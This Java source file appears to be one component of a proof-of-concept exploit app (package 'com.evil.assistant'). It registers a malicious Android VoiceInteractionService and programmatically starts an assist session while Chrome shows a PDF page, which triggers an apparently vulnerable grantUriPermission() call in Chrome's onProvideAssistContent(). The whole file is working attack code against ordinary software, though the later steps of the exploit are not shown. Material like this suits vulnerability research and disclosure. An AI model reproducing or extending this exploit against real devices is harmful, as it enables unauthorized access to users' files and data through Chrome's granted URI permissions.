package com.evil.assistant;

import android.os.Bundle;
import android.service.voice.VoiceInteractionService;
import android.service.voice.VoiceInteractionSession;
import android.util.Log;

/**
 * Registered as the system VoiceInteractionService once the user picks this
 * app under Settings -> Apps -> Default apps -> Digital assistant app.
 *
 * Exposes a static helper so LauncherActivity can programmatically start an
 * assist session via showSession(SHOW_WITH_ASSIST). The framework then calls
 * Activity.onProvideAssistContent() on the foreground activity (Chrome),
 * which is the trigger for the vulnerable grantUriPermission() call.
 */
public class EvilVoiceInteractionService extends VoiceInteractionService {
    private static final String TAG = "EvilAssistant";
    static final String EXTRA_TARGET_URI = "target_uri";

    private static EvilVoiceInteractionService sInstance;

    @Override
    public void onReady() {
        super.onReady();
        sInstance = this;
        Log.i(TAG, "VoiceInteractionService onReady — we are the active assistant.");
    }

    @Override
    public void onShutdown() {
        sInstance = null;
        super.onShutdown();
    }

    /** Called by LauncherActivity once Chrome is foreground with the PdfPage. */
    static void triggerAssist(String targetUri) {
        EvilVoiceInteractionService svc = sInstance;
        if (svc == null) {
            Log.w(TAG, "triggerAssist: service not ready (are we the default assistant?)");
            return;
        }
        Bundle args = new Bundle();
        args.putString(EXTRA_TARGET_URI, targetUri);
        // SHOW_WITH_ASSIST causes the framework to collect AssistContent from
        // the foreground activity → ChromeActivity.onProvideAssistContent().
        svc.showSession(args,
                VoiceInteractionSession.SHOW_WITH_ASSIST
                        | VoiceInteractionSession.SHOW_SOURCE_APPLICATION);
        Log.i(TAG, "showSession() dispatched for " + targetUri);
    }
}
